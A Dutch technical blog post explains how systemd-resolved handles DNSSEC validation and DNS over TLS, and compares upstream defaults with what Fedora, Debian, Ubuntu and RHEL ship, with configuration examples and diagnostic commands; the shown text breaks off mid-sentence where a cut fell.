Data teruggegeven. BOGUS dnssec-failed.org Beweert ondertekend te zijn. Het bewijs faalt. Lookup geweigerd. Twee van de drie geven data terug. Validatie aanzetten breekt niet-ondertekende sites niet. Secure, insecure en bogus zijn drie verschillende antwoorden, en maar één ervan is een mislukking Hier zijn ze alle drie op deze machine, tegen echte namen:\n$ resolvectl query damiendye.uk -- Data is authenticated: yes; Data was acquired via local or encrypted transport: no $ resolvectl query systemd.io -- Data is authenticated: no; Data was acquired via local or encrypted transport: no $ resolvectl query dnssec-failed.org dnssec-failed.org: resolve call failed: DNSSEC validation failed: missing-key (DNSKEY Missing: no SEP matching the DS found for dnssec-failed.org.) damiendye.uk is ondertekend, dus de keten vanaf de root valideert en de data is geauthenticeerd. systemd.io is niet ondertekend, dus er valt niets te controleren en resolved zegt dat eerlijk in plaats van te doen alsof. Dat is het eigen domein van het systemd-project, en daar kom ik op terug. dnssec-failed.org wordt gepubliceerd met opzettelijk kapotte signaturen. Die faalt hard, met een diagnose die het precieze probleem benoemt.\nHier is het onderscheid dat verloren gaat. Insecure is geen mislukking. Een niet-ondertekende zone geeft data terug en vertelt je dat ze niet geverifieerd kon worden. Alleen een zone die beweert ondertekend te zijn en het dan niet kan bewijzen wordt afgewezen.\nDe keten zelf is zichtbaar als je hem wilt zien:\n$ dig +short @127.0.0.53 uk DS 43876 8 2 A107ED2AC1BD14D924173BC7E827A1... $ dig +short @127.0.0.53 damiendye.uk DS 2371 13 2 A5B2825C57899A5A15EE9703832C8358E0D19EF29DC72DD83C691ED77C33BD7F $ dig +short @127.0.0.53 damiendye.uk DNSKEY 256 3 13 oJMRESz5E4gYzS/q6XDrvU1qMPYIjCWz... 257 3 13 mdsswUyr3DPW132mOi8V9xESWE8jTo0d... De root staat garant voor uk, uk staat garant voor damiendye.uk, en de 257-sleutel ondertekent de 256-sleutel die de records ondertekent. Algoritme 13 daar is ECDSA P-256, wat je op een nieuwe zone wilt in plaats van de RSA die de uk-DS hierboven nog gebruikt.\nVia de gewone stub krijgt een programma dat nog nooit van resolved heeft gehoord hetzelfde oordeel, als een AD-vlag:\n$ dig @127.0.0.53 ietf.org A | grep flags ;; flags: qr rd ra ad; $ dig @127.0.0.53 dnssec-failed.org A | grep status ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- status: SERVFAIL En de daemon houdt een lopende telling bij, wat de snelste manier is om te zien of validatie iets doet:\n$ resolvectl statistics DNSSEC Verdicts Secure: 134 Insecure: 62 Bogus: 0 Indeterminate: 2 Wat validatie kost Hier ga ik je teleurstellen, want ik heb geprobeerd dit fatsoenlijk te meten en dat lukte niet.\nWarm is het schoon en is het niets. Dezelfde 32 namen tegen een volle cache kostten 16 ms zonder validatie en 23 ms met. Noem het een afrondingsfout.\nKoud is waar de kosten zouden moeten opduiken, en één client kan het niet isoleren. Ik draaide de reeks beide kanten op en kreeg tegenstrijdige antwoorden: in de ene volgorde leek validatie 74% trager, in de andere leek het sneller, wat onmogelijk is en je vertelt wat er werkelijk wordt gemeten. Welke reeks als tweede draait profiteert ervan dat de upstream-resolver alles al had opgehaald waar de eerste om vroeg. De variabele die domineert is niet validatie, het is wiens cache warm was.\nDus ik geef je geen getal waar ik niet achter kan staan. Wat waar is, is het mechanisme, en de documentatie stelt de vorm ervan onomwonden: validatie “requires retrieval of additional DNS data, and thus results in a small DNS lookup time penalty”.2 Een koude gevalideerde lookup loopt de delegatieketen af en haalt op elk niveau DS en DNSKEY op voordat hij kan antwoorden, dus hij kost extra retourtjes op namen waar nog niemand om heeft gevraagd, en helemaal niets op namen waar iemand wel om heeft gevraagd.\nWat ook de reden is dat dezelfde pagina waarschuwt dat de cache uitzetten “comes at a performance penalty, which is particularly high when DNSSEC is used”.2 De twee functies staan niet los van elkaar. Validatie is juist betaalbaar omdat de cache betekent dat je er één keer voor betaalt.\nWil je het echte getal voor je eigen netwerk, meet het daar. Eén client op één verbinding kan het je niet vertellen.\nWaarom staat validatie dan uit Omdat je distributie het uitzette toen ze het pakket bouwde, en dat deed ze om een reden die ze heeft opgeschreven.\nUpstream systemd levert validatie aan. De buildoptie zegt het:\noption(\u0026#39;default-dnssec\u0026#39;, type : \u0026#39;combo\u0026#39;, choices : [\u0026#39;yes\u0026#39;, \u0026#39;allow-downgrade\u0026#39;, \u0026#39;no\u0026#39;], value : \u0026#39;allow-downgrade\u0026#39;) en de upstream-handleiding is het ermee eens: DNSSEC= “Defaults to allow-downgrade”.6\nKijk nu wat Fedora aan die build meegeeft:7\n-Ddefault-dnssec=no -Ddefault-dns-over-tls=no -Ddefault-mdns=no -Ddefault-llmnr=resolve En wat Debian en Ubuntu meegeven:8\n-Ddefault-dnssec=no -Ddefault-llmnr=no -Ddefault-mdns=no -Ddns-over-tls=openssl Dus het bestand op /usr/lib/systemd/resolved.conf op een Fedora-bak, degene met de kop “Entries in this file show the compile time defaults”, zegt #DNSSEC=no. Lees dat nog eens, want het doet iets sluws: de regel ziet eruit als de software die je zijn eigen standaard vertelt, en wat hij je werkelijk terugleest is de buildvlag van Fedora, met de echte standaard van upstream nergens op de pagina.\nInstelling Upstream-standaard Fedora-build Debian/Ubuntu-build Resultaat op deze bak DNSSEC= allow-downgrade no no DNSSEC=no DNSOverTLS= no no no (gecompileerd met OpenSSL) -DNSOverTLS MulticastDNS= yes no no -mDNS LLMNR= yes resolve no LLMNR=resolve Elk daarvan komt overeen met wat resolvectl status op deze machine afdrukt. Broncode, buildvlag, draaiend systeem, alle drie zijn het eens.\nDe redenering van Fedora staat in het wijzigingsvoorstel en is verfrissend bot. De functie “is known to cause compatibility problems with certain network access points”, en Fedora “is not prepared to handle an influx of DNSSEC-related bug reports”, dus hij gaat uit.9\nMag ik vragen waarom het antwoord op een functie die stukgaat op slechte netwerken is om hem voor iedereen uit te zetten, in plaats van allow-downgrade te leveren zoals upstream doet en hem zichzelf te laten uitzetten waar dat moet? Niet wie het besloot. Wat er in het proces daartoe leidde. Want allow-downgrade bestaat juist voor het captive-portalgeval, het is om precies die reden de standaard van upstream, en in plaats daarvan no leveren betekent dat een machine op een volstrekt goed netwerk ook geen validatie krijgt.\nOm eerlijk tegenover ze te zijn: allow-downgrade heeft zijn eigen probleem, en dat is een echt probleem. De modus merkt een resolver op die geen DNSSEC kan en stopt stilletjes met valideren. Een aanvaller die jouw DNS-antwoorden kan vormgeven kan die detectie met opzet laten afgaan, en de documentatie zegt het onomwonden: het “makes DNSSEC validation vulnerable to \u0026lsquo;downgrade\u0026rsquo; attacks”.2 Een beveiligingsfunctie die elke aanvaller kan uitzetten doet minder dan ze lijkt te doen.\nDus geen van beide standaarden is goed. no geeft je niets. allow-downgrade geeft je iets wat een aanvaller je kan afnemen, en yes geeft je het echte werk plus alles uit de volgende sectie.\nHoeveel van het web is eigenlijk ondertekend Voordat je veel moeite in validatie steekt is het het waard te weten welk deel van je lookups het überhaupt kan beschermen. Dus vroeg ik resolved om het oordeel over de apex van tweeëndertig domeinen die dit onderwerp werkelijk aangaan: de organen die de standaard schreven, de clubs die de resolver leveren, en de infrastructuur die iedereen opzoekt of hij het nu wil of niet.\nZestien van de tweeëndertig. De helft.\nOndertekend Niet ondertekend Standaarden en registries ietf.org, iana.org, icann.org, rfc-editor.org, ripe.net, isc.org, nlnetlabs.nl, nic.cz, afnic.fr, verisign.com geen Distributies en leveranciers debian.org, fedoraproject.org, opensuse.org, almalinux.org redhat.com, ubuntu.com, canonical.com, suse.com, rockylinux.org, archlinux.org systemd zelf geen systemd.io, freedesktop.org Infrastructuur cloudflare.com, gov.uk github.com, kernel.org, google.com, wikipedia.org, mozilla.org, apache.org, gnu.org, quad9.net Lees de eerste kolom van boven naar beneden. Elk standaardenorgaan en elke registry heeft ondertekend. Tien van de tien, geen uitzonderingen: de mensen die DNSSEC schreven, en de mensen die de registries draaien die de DS-records voor alle anderen publiceren. Ze hebben het werk op hun eigen zones gedaan.\nLees nu de derde rij van links naar rechts. systemd.io heeft geen DS. Het project dat de validerende resolver schreef waar dit hele bericht over gaat, heeft zijn eigen domein niet ondertekend, en freedesktop.org, waar zijn documentatie woont, ook niet. Daaronder is quad9.net ook niet ondertekend, en daar mag je even bij stilstaan: een publieke resolver wiens hele verkoopverhaal is dat hij DNSSEC voor je valideert, op een zone die niemand kan valideren.\nEn de leveranciers splitsen netjes langs één lijn. De communitydistributies hebben ondertekend. debian.org, fedoraproject.org, opensuse.org, almalinux.org. De bedrijven niet. redhat.com, ubuntu.com, canonical.com, suse.com. Dat zijn de vier organisaties die deze resolver verpakken en leveren aan het grootste deel van het Linux-landschap.\nDaar zit geen gat in de technologie. Het protocol is al ruim vijftien jaar uit te rollen, het gereedschap is gratis, en de registries nemen het DS-record aan zonder ervoor te rekenen. Ik zeg het je voor niks: de mensen die de standaard schreven hebben ondertekend, en de meeste mensen die de software leveren niet.\nEr is een scherpere versie van hetzelfde punt in gov.uk, dat wel ondertekend is, en dan dit doet:\n$ dig +short @127.0.0.53 www.gov.uk CNAME www-cdn.production.govuk.service.gov.uk. $ dig +short @127.0.0.53 service.gov.uk DS (nothing) uk heeft een DS. gov.uk heeft een DS. service.gov.uk heeft er geen, dus de keten houdt daar dood op, en www.gov.uk resolvet insecure ook al is de apex erboven netjes ondertekend. Iemand heeft het werk op gov.uk gedaan en toen de echte website op een niet-ondertekende delegatie gericht. Half werk.\nDus als je een zone ondertekent, controleer de namen die mensen werkelijk typen. Een ondertekende apex die met een CNAME een niet-ondertekende CDN-zone in wijst levert je niks op.\nDNS over TLS werkt, onder voorwaarden DNS over TLS is geïmplementeerd, het is in elke gangbare build meegecompileerd, en het werkt. Het staat overal standaard uit, ook upstream, waar DNSOverTLS= “Defaults to no”.6\nDe configuratie is twee regels, en de tweede is degene die mensen missen:\n[Resolve] DNS=9.9.9.9#dns.quad9.net 149.112.112.112#dns.quad9.net DNSOverTLS=yes Die #dns.quad9.net is geen versiering. Hij bepaalt de naam die voor SNI en voor het valideren van het certificaat wordt gebruikt. Laat hem weg en het certificaat wordt in plaats daarvan “checked against the server\u0026rsquo;s IP”.2 Dat werkt bij de grote aanbieders omdat die IP-adressen in de SAN\u0026rsquo;s van hun certificaat zetten, maar het is de zwakkere controle, het gaat stuk zodra een aanbieder daarmee ophoudt, en het biedt je geen bescherming tegen omgeleid worden naar een ander adres dat toevallig een geldig certificaat voor zichzelf heeft. Fedora\u0026rsquo;s eigen magazine-artikel hierover laat de hostnaam weg,10 wat jammer is, want de syntaxis staat gewoon in de commentaren van het meegeleverde configuratiebestand.\nStrikt en opportunistisch zijn heel verschillende instellingen Modus Op een server die DoT ondersteunt Op een server die dat niet doet Authenticeert de server yes Versleuteld Alle lookups falen Ja opportunistic Versleuteld Stilletjes platte tekst Nee no Platte tekst Platte tekst n.v.t. opportunistic leest als het verstandige midden en is dat meestal niet. De documentatie zegt het ronduit: in die modus is “the resolver is not capable of authenticating the server, so it is vulnerable to \u0026lsquo;man-in-the-middle\u0026rsquo; attacks”,2 en iedereen die jouw verkeer op poort 853 kan laten vallen kan de downgrade afdwingen. Het beschermt je tegen passief meekijken op een netwerk waar niemand het probeert. Tegen iemand die het wel probeert doet het niks.\nyes is de eerlijke instelling. Het betekent ook dat je, als hij geen verbinding kan maken, helemaal geen DNS krijgt, wat het waard is te weten voordat je het op een machine zet waar je niet naartoe kunt lopen.\nIk probeerde strikte DoT naar Quad9 vanaf deze bak en de query bleef hangen. Geen foutmelding, geen timeout, niets in de journal tussen het legen en mijn terugdraaien twee minuten later:\nSep 27 17:12:11 systemd-resolved[40105]: wlp4s0: Bus client set DNS server list to: 9.9.9.9#dns.quad9.net, ... Sep 27 17:12:14 systemd-resolved[40105]: wlp4s0: Bus client set DNSOverTLS setting: yes Sep 27 17:12:15 systemd-resolved[40105]: Flushed all caches. Sep 27 17:14:39 systemd-resolved[40105]: wlp4s0: Bus client set DNS server list to: 192.0.2.53, ... Ik kan je van hieruit niet vertellen of poort 853 op die verbinding bereikbaar is, want de shell waarvandaan ik de test draaide kon poort 443 ook niet bereiken en werd duidelijk zelf gefilterd. Wat het log wel laat zien is de faalmodus: strikte DoT die geen verbinding kan maken meldt niets nuttigs. Hij wacht. Zet je dit aan en wordt je DNS stil, kijk dan naar ss -tn dport = :853 voordat je naar resolved gaat zoeken.\nHet fatsoenlijk testen # does the transport actually come up resolvectl flush-caches resolvectl query ietf.org # expect: acquired via ... encrypted transport: yes # is anything still going out in the clear sudo tcpdump -ni any \u0026#39;port 53 and not host 127.0.0.53\u0026#39; Het tweede commando is degene die de waarheid vertelt. Met werkende DoT hoort er niets meer op poort 53 de machine te verlaten, en alles wat dat wel doet is een programma dat om de stub heen is gekomen.\nDNS over HTTPS bestaat hier niet Rechttoe rechtaan antwoord op de vraag: systemd-resolved ondersteunt geen DNS over HTTPS. Niet gedeeltelijk, niet achter een vlag, niet met een buildoptie die niemand aanzet. Er zit helemaal geen DoH in.\nEn dat is niet van de documentatie afgelezen, die simpelweg verouderd zou kunnen zijn. Het is wat de binary bevat:\n$ strings /usr/lib/systemd/systemd-resolved | grep -icE \u0026#39;application/dns-message|dns-query|:443\u0026#39; 0 $ grep -oE \u0026#39;name=\u0026#34;DNSOver[A-Za-z]*\u0026#34;\u0026#39; /usr/share/dbus-1/interfaces/org.freedesktop.resolve1.Manager.xml name=\u0026#34;DNSOverTLS\u0026#34; Geen DoH-wireformat, geen HTTP/2, één versleutelingseigenschap op de D-Bus-interface en die is TLS. De volledige lijst met resolved.conf-directieven upstream komt op zeventien instellingen en geen daarvan noemt HTTPS.6\nErom is gevraagd. Issue #8639, “Add support for DNS-over-HTTPS to systemd-resolved”, werd geopend op 2 april 2018 en staat nog steeds open, met twee pull requests eraan en niets gemerged.11 Acht jaar en het loopt door.\nZelfde lading, zelfde versleuteling, andere poort BEIDE DRAGEN DEZELFDE DNS-QUERY, BINNEN DEZELFDE TLS DNS over TLS DNS over HTTPS tcp/853 tcp/443 In systemd-resolved ja, sinds v239 nee, helemaal niet Een waarnemer ziet de namen nee nee Een netwerk kan het blokkeren ja, eigen poort niet zonder pijn Je kunt je eigen DNS auditen ja nee Gevraagd in systemd-issue 8639, april 2018. Nog steeds open. Zelfde lading, zelfde versleuteling. Het verschil is op welke poort het zit, en wie het kan zien Is dat de verkeerde keuze? Niet vanzelfsprekend, en het argument voor DoT is behoorlijk. Beide dragen DNS binnen TLS en beide houden dezelfde passieve waarnemer tegen. Het voordeel van DoH is dat het zich op poort 443 verstopt tussen al het andere, dus een netwerk dat versleutelde DNS wil blokkeren moet veel harder werken. Dat is werkelijk nuttig als de netwerkbeheerder de tegenstander is.\nHet snijdt ook de andere kant op. Waar jij de beheerder bent, betekent die ononderscheidbaarheid dat je je eigen DNS ook niet kunt auditen, en elke applicatie die haar eigen DoH-client meelevert stopt met de systeemresolver te gebruiken, en zo krijg je een browser die je split DNS, je cache en je interne zones negeert. Op je eigen spul is een resolver die zichtbaar is op een bekende poort een voordeel.\nDus: bereikt DoT je resolver, gebruik het dan en je verliest niets. Is poort 853 geblokkeerd, dan heeft resolved geen antwoord en wil je een DoH-proxy ervoor, dnscrypt-proxy of cloudflared op de loopback met resolved daarop gericht. Caching en validatie blijven het werk van resolved. Alleen het transport verhuist.\nWat je distributie werkelijk levert Dezelfde daemon gedraagt zich heel verschillend afhankelijk van wie hem verpakte. De dienst aanzetten is de makkelijke helft. De helft die wordt overgeslagen is hem inhaken in de netwerkgereedschappen die de distributie werkelijk gebruikt, en op een van deze vier is hij werkelijk niet ingehaakt tot je het zelf doet.\nGeïnstalleerd Aangezet nss-resolve ingehaakt Configuratie komt via Ondersteund Fedora (33+) ja ja ja, in systemd-libs NetworkManager ja Ubuntu ja ja ja netplan, dan NM of networkd ja Debian (12+) apart pakket nee nee, apart pakket jij kiest en haakt het in ja RHEL / Rocky / Alma (9, 10) ja nee ja NetworkManager, als je het zegt Technology Preview Validatie en een volle cache: de instellingen zelf Dit zijn overal dezelfde vier regels, want resolved.conf is resolved.conf op elke distributie. Wat verschilt is alleen hoe de rest van de configuratie de daemon bereikt, en daar gaan de volgende vier secties over.\n# /etc/systemd/resolved.conf.d/60-local.conf [Resolve] DNSSEC=allow-downgrade Cache=yes CacheFromLocalhost=no StaleRetentionSec=1d Gebruik een drop-in in plaats van /etc/systemd/resolved.conf te bewerken, want het hoofdbestand heeft een lagere voorrang dan elke drop-in en een pakketupdate kan er ruzie met je over maken. De nummering is een gedocumenteerde conventie: leveranciers nemen 10 tot 40 onder /usr/, jij neemt 60 tot 90 onder /etc/, dus die van jou wint.6\nOp systemd 261 en later is er een vijfde regel die het waard is toe te voegen, want tot dan was de cachegrootte helemaal niet instelbaar:\nDNSCacheSize=16384 # systemd 261+; default 4096, max 2^24 Pas het toe en bevestig dat de daemon het met het bestand eens is, in plaats van aan te nemen dat hij het gelezen heeft:\nsystemd-analyze cat-config systemd/resolved.conf # every fragment, in precedence order systemctl restart systemd-resolved resolvectl status | grep -E \u0026#39;DNSSEC|Protocols\u0026#39; resolvectl statistics # verdicts should start moving DNSSEC=allow-downgrade is de instelling die ik zou zetten op een machine die ik niet ga babysitten, om de redenen in de sectie hierboven. DNSSEC=yes is de eerlijke en die faalt dicht. Kies met opzet.\nHem inhaken in de netwerkstack De dienst aanzetten is één commando. De eigen netwerkgereedschappen van je distributie zover krijgen dat ze hun DNS-configuratie aan hem afgeven is het deel dat verschilt, en het is waar “aangezet” en “werkt goed” uit elkaar lopen.\nWaar de DNS-configuratie vandaan komt DNSSEC aanzetten De cache dimensioneren Extra bedrading nodig Fedora NetworkManager, automatisch drop-in drop-in geen Ubuntu netplan, dan NM of networkd drop-in, of per link in .network drop-in geen Debian welke stack je ook koos drop-in, of per link in .network drop-in libnss-resolve, plus de stack hieronder RHEL-familie NetworkManager, als je het zegt drop-in drop-in dns=systemd-resolved Fedora De volledigste integratie van de vier, en de enige waar alles al is ingehaakt.\nNetworkManager bezit het netwerk en geeft DNS aan resolved zonder dat het gezegd hoeft te worden. Op deze bak staat nergens in /etc/NetworkManager/ een dns=-regel en het werkt toch, want NetworkManager merkt de draaiende daemon op en gebruikt hem. /etc/resolv.conf is de stub-symlink, en glibc is ingehaakt omdat libnss_resolve.so.2 in systemd-libs zit, wat niet optioneel is:\n$ rpm -qf /usr/lib64/libnss_resolve.so.2 systemd-libs-259.9-1.fc44.x86_64 $ grep ^hosts: /etc/nsswitch.conf hosts: files myhostname mdns4_minimal [NOTFOUND=return] resolve [!UNAVAIL=return] dns Op Fedora is de drop-in hierboven dus het hele werk. Verder niets aan te sluiten.\nUbuntu Standaard aangezet, en nss-resolve is op dezelfde manier ingehaakt. Het verschil is dat de configuratie meestal via netplan binnenkomt:\nnetwork: version: 2 ethernets: enp1s0: dhcp4: true nameservers: addresses: [9.9.9.9, 149.112.112.112] search: [example.com] Netplan geeft dat aan zijn renderer, NetworkManager op de desktop of systemd-networkd op de server, en de renderer geeft het aan resolved. Let op wat netplan niet kan uitdrukken. Er is geen netplan-sleutel voor DNSSEC=, en geen voor DNSOverTLS=. Die gaan in de drop-in hierboven, waar ze toch al thuishoren.\nZit je op systemd-networkd, dan zijn de instellingen per link ook native beschikbaar in het .network-bestand, en een instelling per link wint van de globale:\n# /etc/systemd/network/10-lan.network [Network] DNS=9.9.9.9#dns.quad9.net DNSSEC=yes DNSOverTLS=yes Domains=~. Debian moet met de hand worden ingehaakt Dit is degene die werkelijk niet is ingehaakt, en de reden dat de sectie hierboven bestaat.\nSinds Debian 12 is systemd-resolved een apart pakket, en de release notes zijn expliciet over de upgrade: “The new systemd-resolved package will not be installed automatically on upgrades”, en “until it has been installed, DNS resolution might no longer work since the service will not be present on the system.”12 Dezelfde notities beslechten de bredere vraag: “systemd-resolved was not, and still is not, the default DNS resolver in Debian.”\nHet installeren kost drie pakketten, niet één, en het tweede is degene die iedereen mist:\napt install systemd-resolved libnss-resolve systemctl enable --now systemd-resolved libnss-resolve staat alleen onder Suggests:, het is geen afhankelijkheid,13 en Suggests is de ene relatie waar apt niets mee doet. Dus niemand installeert het.\nDe reden dat niemand het merkt is interessanter dan de reden dat niemand het installeert. Laat het weg en glibc bereikt resolved nog steeds, want /etc/resolv.conf wijst naar de stub en gewone nss-dns praat ermee. Het grootste deel van de daemon blijft werken:\nZonder libnss-resolve Met Cache Ja, via de stub Ja DNSSEC-validatie Ja, het gebeurt in de daemon Ja DNS over TLS Ja Ja AD-bit bereikt glibc Ja, resolv.conf draagt trust-ad Ja Secure tegenover insecure tegenover bogus Nee, maar één bit Ja Adressen met een linkscope Nee Ja /etc/hosts gelezen door de daemon Nee Ja Niets in de linkerkolom ziet er kapot uit, dus er wordt niets gerepareerd. Wat je kwijt bent is wat het DNS-wireformat niet kan dragen, en het duidelijkste geval is een adres met een scope eraan:\n$ getent hosts _gateway # via nss-resolve fe80::5054:ff:fe12:3456 _gateway $ dig +short @127.0.0.53 _gateway # via the stub, as nss-dns would 192.0.2.1 Dezelfde naam, dezelfde daemon, twee verschillende antwoorden. Een link-lokaal IPv6-adres is betekenisloos zonder de interface waaraan het gescoopt is, en er is nergens in een DNS-antwoord plek om die te zetten, dus de stub kan alleen het IPv4 teruggeven. De native API heeft er wel plek voor en geeft je het adres dat je werkelijk wilde.\nDe oordeelrij is hetzelfde probleem. AD is één bit, ondertekend of niet. De native API scheidt secure van insecure van bogus, wat het verschil is tussen “niemand heeft dit ondertekend” en “iemand heeft dit ondertekend en iemand anders heeft eraan gezeten”. Een applicatie die erom geeft kan die twee over de draad niet uit elkaar houden.\nDat is het gat tussen de dienst die draait en de dienst die is ingehaakt, en het blijft onzichtbaar tot je ernaar gaat zoeken.\nKijk of het geland is:\ngrep ^hosts: /etc/nsswitch.conf # wants \u0026#39;resolve [!UNAVAIL=return] dns\u0026#39; Vier manieren naar binnen op Debian, en degene die niet voor je geïnstalleerd is WAAR DE CONFIG VANDAAN KOMT HOE HET BINNENKOMT DE DAEMON ifupdown, statisch ifupdown, DHCP systemd-networkd NetworkManager resolvconf-shim = resolvectl resolved 127.0.0.53 EN HET STUKJE DAT NIEMAND INSTALLEERT glibc getaddrinfo() libnss-resolve Alleen Suggests:. Zonder dat werkt glibc nog steeds, en het oordeel bereikt het nooit. Vier manieren naar binnen op Debian, en degene die niet voor je geïnstalleerd is Hoe de rest van je netwerk hem bereikt hangt af van op welke van Debians stacks je zit.\nHet pakket verklaart Provides: resolvconf en Conflicts: resolvconf, openresolv,13 dus het neemt de resolvconf-interface volledig over. /usr/sbin/resolvconf wordt een symlink naar resolvectl, wat een multi-call binary is: onder die naam aangeroepen spreekt hij het resolvconf(8)-protocol en duwt alles wat hij krijgt rechtstreeks resolved in.14 Alles wat al resolvconf -a aanroept blijft dus ongewijzigd werken, met systemd-resolved als enige ondersteunde backend.\nNiet de hele interface overleeft, en de gaten falen luid in plaats van stil:\nresolvconf-optie Onder systemd-resolved -a \u0026lt;iface\u0026gt; Registreert DNS per link, gelezen van stdin. Degene die ertoe doet -d \u0026lt;iface\u0026gt; Meldt af, hetzelfde als resolvectl revert -x Gemapt op een routeringsdomein ~. -p Markeert de link als geen standaardroute (systemd 257+) -f Laat -a en -d zwijgen over een interface die er niet is -m Geaccepteerd en stilletjes genegeerd -u, -i, -I, -l, -r, -R, -v, -V Niet ondersteund. Het commando faalt Eén valkuil die het waard is te kennen voordat je hem gaat debuggen: de shim schrijft /etc/resolv.conf alleen als dat bestand een symlink naar /run/systemd/resolve/resolv.conf is, en niet als het een statisch bestand is.14\nifupdown, de standaard op een Debian-serverinstallatie. De stanza dns-nameservers in /etc/network/interfaces werd altijd geïmplementeerd door de hooks van het oude pakket resolvconf, en systemd-resolved conflicteert met dat pakket en levert geen eigen hooks in /etc/network/if-up.d/. Vertrouw voor een statische interface niet op de stanza. Zet de servers expliciet op de link en laat resolved ze bezitten:\n# /etc/network/interfaces auto enp1s0 iface enp1s0 inet static address 192.0.2.10/24 gateway 192.0.2.1 up /usr/sbin/resolvconf -a $IFACE \u0026lt;\u0026lt;\u0026lt; \u0026#39;nameserver 192.0.2.53\u0026#39; down /usr/sbin/resolvconf -d $IFACE DHCP op ifupdown is al geregeld. isc-dhcp-client levert hooks die naar de daemon zijn vernoemd, /etc/dhcp/dhclient-enter-hooks.d/resolved-enter en /etc/dhcp/dhclient-exit-hooks.d/resolved,15 dus de DNS-servers van een lease landen op de juiste link zonder dat er iets te configureren valt.\nsystemd-networkd is de schoonste optie en heeft helemaal geen shim nodig, want de twee helften zijn hetzelfde project. DNS, DNSSEC en DoT per link zijn native sleutels in het .network-bestand, precies als in het Ubuntu-voorbeeld hierboven.\nNetworkManager, op een Debian-desktop, moet het één keer verteld worden:\n# /etc/NetworkManager/conf.d/10-resolved.conf [main] dns=systemd-resolved Kies er een en weet welke je koos. De faalmodus hier is niet een daemon die weigert te starten, het is twee stacks die allebei geloven dat ze /etc/resolv.conf bezitten, wat leest als haperende DNS en een middag kost. resolvectl status zegt op welke link de servers geland zijn. Is het antwoord geen enkele, dan voedt niets de daemon, en dat is de bug.\nRHEL, Rocky en Alma En hier is degene die het waard is twee keer te lezen. Het pakket is er, nss-resolve is beschikbaar, NetworkManager kan het aansturen, en de documentatie van Red Hat zegt dit:\nsystemd-resolved is an unsupported Technology Preview.16\nDie formulering staat sinds 9.0 in de release notes van RHEL 9 en staat er bij 9.8 nog steeds. Technology Preview betekent geen productie-SLA, en Red Hat raadt het uitdrukkelijk niet aan voor productiegebruik.\nEn hij staat ook niet aan. NetworkManager bezit resolv.conf op deze systemen, dus hem aanzetten is een NetworkManager-instelling en niet alleen de unit aanzetten:\n# /etc/NetworkManager/conf.d/10-resolved.conf [main] dns=systemd-resolved systemctl enable --now systemd-resolved systemctl reload NetworkManager resolvectl status # confirm NM actually handed the servers over Daarna geldt de drop-in hierboven ongewijzigd, en validatie en de cache gedragen zich precies zoals op Fedora.\nDus op RHEL heb je een beslissing die op de andere niet bestaat. Wil je een validerende, cachende, split-DNS-vaardige lokale resolver op een ondersteunde RHEL-bak? Dan is het ondersteunde antwoord niet deze. Het is unbound, of dnsmasq via NetworkManagers eigen dns=dnsmasq, waar Red Hat allebei werkelijk achter gaat staan.\nHet label is geen oordeel over de code. Het is een oordeel over waar Red Hat een SLA achter zet, en een cachende validerende resolver is iets waar klanten tickets over openen. Prima. Maar koop je RHEL voor de ondersteuning, dan is naamresolutie op een niet-ondersteund onderdeel draaien een beslissing om met opzet te nemen en op te schrijven, niet een om in te rollen omdat het nu eenmaal in de repo zat.\nEr is niets werkelijk verminkt, en zo bewijs je dat Het uitgangspunt is het waard getest te worden, want “mijn distro heeft het uitgezet, ik zal wel moeten herbouwen” is de reflex en hier is die verkeerd.\nsystemd heeft twee volstrekt verschillende soorten buildoptie, en er wordt over gepraat alsof ze er één waren:17\nBuildoptie Soort Upstream Fedora Debian en Ubuntu Tijdens draaien te wijzigen resolve mogelijkheid aan gebouwd true nee, en ze bouwen het allebei nss-resolve mogelijkheid aangezet gebouwd, zit in systemd-libs enabled, komt als libnss-resolve nee, en ze bouwen het allebei dns-over-tls mogelijkheid auto auto, komt uit op OpenSSL openssl nee, en ze compileren het allebei mee openssl mogelijkheid aangezet enabled enabled nee, en ze zetten het allebei aan default-dnssec alleen standaard allow-downgrade no no ja, in een drop-in default-dns-over-tls alleen standaard no no upstream-standaard ja, in een drop-in default-mdns alleen standaard yes no no ja, in een drop-in default-llmnr alleen standaard yes resolve no ja, in een drop-in Lees de laatste kolom. Elke instelling waarover dit bericht heeft geklaagd zit in de onderste helft, en elk ervan is een standaardwaarde, geen mogelijkheid. De code is op allebei meegecompileerd. Niemand heeft iets weggehaald.\nHet bewijs staat eerder in dit bericht en had geen compiler nodig. Op het standaard Fedora-pakket, met DNSSEC=no ingebakken, zette één commando validatie aan en werkte het volledig: een ondertekende zone geauthenticeerd, een niet-ondertekende eerlijk gemeld, een kapotte geweigerd met een precieze diagnose. Was het eruit gecompileerd, dan had resolvectl status nooit yes/supported gezegd.\nControleer dus je eigen build voordat je naar een toolchain grijpt:\n# is the crypto there at all systemctl --version | tr \u0026#39; \u0026#39; \u0026#39;\\n\u0026#39; | grep -E \u0026#39;^[+-](OPENSSL|GNUTLS|GCRYPT)$\u0026#39; # ask for the feature and read back what the daemon says it can do resolvectl dnssec \u0026lt;link\u0026gt; yes resolvectl status \u0026lt;link\u0026gt; | grep DNSSEC # yes/supported means the code is there Op deze Fedora-bak is dat -GCRYPT +GNUTLS +OPENSSL, wat ruim voldoende is: DNSSEC heeft er een van nodig en DoT is tegen OpenSSL gebouwd.\nWat de distributies werkelijk wél weghalen Er is één ding dat ze er allebei uit halen, en het staat niet in het lijstje waar iedereen over klaagt.\nUpstream compileert een fallbacklijst met DNS-servers in de binary: Cloudflare, Google en Quad9.17 Zowel Fedora als Debian bouwt met -Ddns-servers= op niets gezet, en je kunt het op de geleverde binary bevestigen in plaats van me op mijn woord te geloven:\n$ strings /usr/lib/systemd/systemd-resolved | grep -ciE \u0026#39;quad9|one\\.one\\.one|dns\\.google\u0026#39; 0 Niets. Geen hyperscaler in het uitvoerbare bestand ingebakken.\nDat is de ene plek waar beide distributies het beter hebben gedaan dan upstream, en dat verdient het onomwonden gezegd te worden, gezien hoeveel van dit bericht over standaardwaarden ging die ik verkeerd vind. Een machine die zijn DNS-configuratie kwijtraakt hoort luid te falen en op je te wachten. Hij hoort niet stilletjes elke naam die je opzoekt naar een resolver in een ander rechtsgebied te sturen die jij nooit hebt gekozen. Wil je een fallback? Zet FallbackDNS= en kies wie het is.\nAls je werkelijk een herbouw nodig hebt Er bestaat één echt geval: een minimale of embedded build waar iemand -Ddns-over-tls=false heeft meegegeven en het transport werkelijk ontbreekt. Controleer eerst met de commando\u0026rsquo;s hierboven, want het is zeldzaam en het 